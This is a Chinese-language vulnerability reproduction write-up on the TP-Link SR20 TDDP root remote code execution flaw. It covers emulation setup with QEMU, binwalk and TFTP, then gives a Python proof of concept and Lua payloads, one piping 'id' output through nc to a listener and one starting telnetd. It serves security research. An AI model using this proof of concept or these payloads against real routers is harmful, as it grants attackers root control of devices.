重现 TP-Link SR20 本地网络远程代码执行漏洞
作者:xax007@知道创宇404 ScanV 安全服务团队
简述
3月26号 Google 安全开发人员 Matthew Garrett在 Twitter 上公布了 TP-Link Smart Home Router (SR20) 的远程代码执行漏洞,公布的原因是他去年 12 月份将相关漏洞报告提交给 TP-Link后没有收到任何回复,于是就公开了,该漏洞截至目前官方修复,在最新固件中漏洞仍然存在,属于 0day 漏洞,当我看到漏洞证明代码(POC)后决定尝试重现此漏洞
TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器,此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令,该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中,TDDP 是 TP-Link 申请了专利的调试协议,基于 UDP 运行在 1040 端口
TP-Link SR20 设备运行了 V1 版本的 TDDP 协议,V1 版本无需认证,只需往 SR20 设备的 UDP 1040 端口发送数据,且数据的第二字节为 0x31
时,SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行,这就导致存在远程代码执行漏洞
漏洞环境搭建
以下所有操作都在 Ubuntu LTS 18.04 系统下进行
源码编译 QEMU
Qemu 是纯软件实现的虚拟化模拟器,几乎可以模拟任何硬件设备,我们最熟悉的就是能够模拟一台能够独立运行操作系统的虚拟机
APT 仓库有 QEMU,本可以使用 APT apt install qemu
直接安装,但 APT 仓库中的版本通常都不是最新的,担心会有未知的 bug,因此选择从 QEMU 官网下载最新稳定版源码来编译安装
1 2 3 4 5 |
$ wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下载源码 $ tar xvJf qemu-4.0.0-rc1.tar.xz #解压源码压缩包 $ cd qemu-4.0.0-rc1 # 进入源码目录 $ ./configure --target-list=arm-softmmu --audio-drv-list=alsa,pa # 编译前配置 $ make # 编译 |
如果 configure 时没有指定 target-list
参数,make 会编译针对所有平台的 QEMU 导致会耗很长很长的时间,因此可以选择只编译 ARM 版的 QEMU 来加快编译速度,至于选择 ARM 版是因为 TP-Link SR20 存在漏洞的固件基于是 ARM 架构,下文中会看到。
编译完成后安装 checkinstall 来生成 deb 包
1 2 |
$ sudo apt-get install checkinstall # 安装 checkinstall $ sudo checkinstall make install # 使用 checkinstall 生成 deb 包并安装 |
如果不使用 checkinstall,直接sudo make install
的会把 qemu 安装在多个位置,如果发生错误不方便删除,所以使用 checkinstall 生成 deb 包方便安装和卸载。
安装完成后可以看到安装的版本
安装 Binwalk
Binwalk 是一款文件的分析工具,旨在协助研究人员对文件进行分析,提取及逆向工程
1 2 3 4 5 |
$ sudo apt install git $ git clone https://github.com/ReFirmLabs/binwalk $ cd binwalk $ python setup.py install $ sudo ./deps.sh $ Debian/Ubuntu 系统用户可以直接使用 deps.sh 脚本安装所有的依赖 |
更详细的安装方法可以查看 Binwalk 的 GitHub wiki
PS: 本人在最后一步运行deps.sh
安装依赖的时 cramfstools
编译出错导致安装失败,如果你也遇到这个问题,不必理会,因为针对本文讲述的漏洞,这个包并不需要安装
从固件提取文件系统
从 TP-Link SR20 设备官网下载固件, 下载下来是一个 zip 压缩包,解压以后进入解压后目录,可以看到一个名字很长的叫 tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
的文件,这个就是该 SR20 设备的 firmware (固件)
使用 binwalk 查看该固件
使用 binwalk 把 Squashfs filesystem
从固件中提取出来,在固件 bin 文件所在目录执行
1 |
$ binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin |
binwalk 会在当前目录的 _+bin文件名
目录下生成提取出来的固件里的所有内容,进入到该目录
squashfs-root
目录就是我们需要的固件文件系统
在该文件系统目录下查找存在漏洞的 tddp 文件并查看文件类型可以看到该文件是一个 ARM 架构的小端(Small-Endian)32 位 ELF 文件
最高有效位 MSB(Most Significant Bit) 对应大端 (Big-endian)
最低有效位 LSB(Least Significant Bit) 对应小端 (Little-endian)
详细介绍可阅读:大端小端与MSB和LSB
这时可以使用 QEMU 来运行该文件
1 |
$ qemu-arm -L . ./usr/bin/tddp |
PS: 不加 -L .
参数运行 qemu-arm 会报错, -L .
参数会把当前目录加入到 PATH 路径中
经过测试发现通过这种方式运行 TDDP 程序并不能触发该漏洞,因此需要搭建完整的 ARM QEMU 虚拟机环境
搭建 ARM QEMU 虚拟机环境
ARM CPU 有两个矢量浮点(软浮点和硬浮点)具体区别可以查看 Stackoverflow,本次选择使用硬浮点 armhf
从 Debian 官网下载 QEMU 需要的 Debian ARM 系统的三个文件:
- debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04 229M
- initrd.img-3.2.0-4-vexpress 2013-12-17 01:57 2.2M
- vmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M
把以上三个文件放在同一个目录执行以下命令
1 2 3 |
$ sudo tunctl -t tap0 -u `whoami` # 为了与 QEMU 虚拟机通信,添加一个虚拟网卡 $ sudo ifconfig tap0 10.10.10.1/24 # 为添加的虚拟网卡配置 IP 地址 $ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic |
虚拟机启动成功后会提示登陆
用户名和密码都为 root
配置网卡IP
1 |
ifconfig eth0 10.10.10.2/24 |
此时 QEMU 虚拟机可以与宿主机进行网络通信
现在需要把从固件中提取出的文件系统打包后上传到 QEMU 虚拟机中
压缩固件文件系统目录下的整个文件
1 |
$ tar -cjpf squashfs-root.tar.bz2 squashfs-root/ |
使用 Python 搭建简易 HTTP Server
1 |
$ python -m SimpleHTTPServer |
在 QEMU 虚拟机中下载上面打包好的文件
1 |
$ wget http://10.10.10.1:8000/squashfs-root.tar.bz2 |
使用 chroot 切换根目录固件文件系统
1 2 3 |
$ mount -o bind /dev ./squashfs-root/dev/ $ mount -t proc /proc/ ./squashfs-root/proc/ $ chroot squashfs-root sh # 切换根目录后执行新目录结构下的 sh shell |
PS: 使用 chroot 后,系统读取的是新根下的目录和文件,也就是固件的目录和文件 chroot 默认不会切换 /dev 和 /proc, 因此切换根目录前需要现挂载这两个目录
如果你有树莓派,可以直接拿来用,几年前买过一个树莓派2B+,经过我的测试,安装了 Raspbian 的树莓派完全可以拿做做 ARM 的测试环境
搭建 TFTP Server
在宿主机安装 atftpd 搭建 TFTP 服务
1 |
$ sudo apt install atftpd |
- 编辑
/etc/default/atftpd
文件,USE_INETD=true
改为USE_INETD=false
- 修改
/srv/tftp
为/tftpboot
最终 /etc/default/atftpd
文件内容如下:
1 2 3 4 5 6 |
USE_INETD=false # OPTIONS below are used only with init script OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot" $ mkdir /tftpboot $ chmod 777 /tftpboot $ sudo systemctl start atftpd # 启动 atftpd |
如果执行命令 sudo systemctl status atftpd
查看 atftpd 服务状态时
提示 atftpd: can't bind port :69/udp
无法绑定端口
可以执行 sudo systemctl stop inetutils-inetd.service
停用 inetutils-inetd
服务后
再执行 sudo systemctl restart atftpd
重新启动 atftpd 即可正常运行 atftpd
此时环境已搭建完毕
重现漏洞
在 atftp 的根目录 /tftpboot
下写入 payload 文件
payload 文件内容为:
1 2 3 |
function config_test(config) os.execute("id | nc 10.10.10.1 1337") end |
重现步骤为:
- QEMU 虚拟机中启动 tddp 程序
- 宿主机使用 NC 监听端口
- 执行 POC,获取命令执行结果
漏洞证明代码(Proof of concept):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
#!/usr/bin/python3 # Copyright 2019 Google LLC. # SPDX-License-Identifier: Apache-2.0 # Create a file in your tftp directory with the following contents: # #function config_test(config) # os.execute("telnetd -l /bin/login.sh") #end # # Execute script as poc.py remoteaddr filename import sys import binascii import socket port_send = 1040 port_receive = 61000 tddp_ver = "01" tddp_command = "31" tddp_req = "01" tddp_reply = "00" tddp_padding = "%0.16X" % 00 tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding]) sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_receive.bind(('', port_receive)) # Send a request sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = binascii.unhexlify(tddp_packet) argument = "%s;arbitrary" % sys.argv[2] packet = packet + argument.encode() sock_send.sendto(packet, (sys.argv[1], port_send)) sock_send.close() response, addr = sock_receive.recvfrom(1024) r = response.encode('hex') print(r) |
最终成功重现此漏洞
参考链接 4 中说到 TP-Link 的 TL-WA5210g 无线路由器的 TDDP 服务只能通过有线网络访问,连 Wi-Fi 也不能访问,由于手上没有 SR20设备,因此断定该 SR20 设备的 TDDP 端口可能也是这种情况,我想这应该就是官方未修复此漏洞的原因吧
参考链接 4 中详细介绍 TDDP 协议以及该协议 V1 和 V 2版本的区别等知识点
最后感谢知道创宇404实验室 @fenix 大佬的指点
参考链接
- Remote code execution as root from the local network on TP-Link SR20 routers
- How to set up QEMU 3.0 on Ubuntu 18.04
- Vivotek 摄像头远程栈溢出漏洞分析及利用
- 一个针对TP-Link调试协议(TDDP)漏洞挖掘的故事
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/879/